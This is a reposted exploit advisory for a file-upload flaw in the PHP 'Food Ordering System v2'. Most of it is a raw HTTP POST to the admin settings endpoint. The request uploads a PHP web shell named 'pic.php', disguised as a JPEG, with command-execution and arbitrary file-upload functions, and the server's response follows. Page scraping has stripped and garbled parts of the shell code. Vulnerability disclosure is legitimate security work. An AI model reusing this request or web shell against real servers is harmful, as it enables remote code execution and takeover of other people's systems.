Exploit/Advisories no image

Published on January 23rd, 2023 📆 | 5277 Views ⚑


Food Ordering System 2 Shell Upload – Torchsec


## Title: Food Ordering System v2 File upload Vulnerability + web-shell upload - RCE
## Author: nu11secur1ty
## Date: 01.23.2023
## Vendor: https://github.com/oretnom23
## Software: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Food-Ordering-System-v2.0

## Description:
The Food Ordering System v2 suffers from, File Upload and web-shell
upload RCE Vulnerabilities.
The upload function for the background image hover of this system is
not sanitizing correctly.
The attacker can upload some RCE malicious code and easily destroy
this system. The status of this system is awful!

## STATUS: HIGH Vulnerability

[+] Exploit:

POST /fos/admin/ajax.php?action=save_settings HTTP/1.1
Host: pwnedhost.com
Content-Length: 6157
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107
Content-Type: multipart/form-data;
Origin: http://pwnedhost.com
Referer: http://pwnedhost.com/fos/admin/index.php?page=site_settings
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=598nahp235ehmk2broafrh37qq
Connection: close

Content-Disposition: form-data; name="name"

Online Food Ordering System V2
Content-Disposition: form-data; name="email"
Content-Disposition: form-data; name="contact"

+6948 8542 623
Content-Disposition: form-data; name="about"


style="text-align: center; background: transparent; position:
relative;">text-align: justify;">Lorem Ipsum400; text-align: justify;"> is simply dummy text of the printing
and typesetting industry. Lorem Ipsum has been the industry’s
standard dummy text ever since the 1500s, when an unknown printer took
a galley of type and scrambled it to make a type specimen book. It has
survived not only five centuries, but also the leap into electronic
typesetting, remaining essentially unchanged. It was popularised in
the 1960s with the release of Letraset sheets containing Lorem Ipsum
passages, and more recently with desktop publishing software like
Aldus PageMaker including versions of Lorem

style="font-size:28px;background: transparent; position:
relative;">Sans", Arial, sans-serif; font-weight: 400; text-align:

style="font-size:28px;background: transparent; position:

Where does it come from?style="text-align: center; margin-bottom: 15px; padding: 0px; color:
rgb(0, 0, 0); font-family: "Open Sans", Arial, sans-serif;
font-weight: 400;">Contrary to popular belief, Lorem Ipsum is not
simply random text. It has roots in a piece of classical Latin
literature from 45 BC, making it over 2000 years old. Richard
McClintock, a Latin professor at Hampden-Sydney College in Virginia,
looked up one of the more obscure Latin words, consectetur, from a
Lorem Ipsum passage, and going through the cites of the word in
classical literature, discovered the undoubtable source. Lorem Ipsum
comes from sections 1.10.32 and 1.10.33 of "de Finibus Bonorum et
Malorum" (The Extremes of Good and Evil) by Cicero, written in 45 BC.
This book is a treatise on the theory of ethics, very popular during
the Renaissance. The first line of Lorem Ipsum, "Lorem ipsum dolor sit
amet..", comes from a line in section
Content-Disposition: form-data; name="img"; filename="pic.php"
Content-Type: image/jpeg


PHP Web Shell Ver 4.0 by nu11secur1ty

function FocusOut(obj)
if(obj.value == '')
obj.value = obj.defaultValue;

WebShell's Location = http://echo $_SERVER['REQUEST_URI'] ?>



value="Input command to execute"


echo '----------------- < OutPut > -----------------';
echo '

foreach($result as $print)
$print = str_replace('<','<',$print);
echo $print . '
echo '

else echo '

action="http://$_SERVER['REQUEST_URI'] ?>">


$check = move_uploaded_file($_FILES['file']['tmp_name'], $_POST['target']);

if($check == TRUE)
echo '

The file was uploaded successfully!!

echo '

File Upload was failed...



[+] Response:

HTTP/1.1 200 OK
Date: Mon, 23 Jan 2023 12:27:44 GMT
Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.2.0
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 1
Connection: close
Content-Type: text/html; charset=UTF-8



## Reproduce:

## Reference:

## Proof and Exploit:

## Proof and Exploit:

## Time spent

Source link

Tagged with:

Leave a Reply

Your email address will not be published.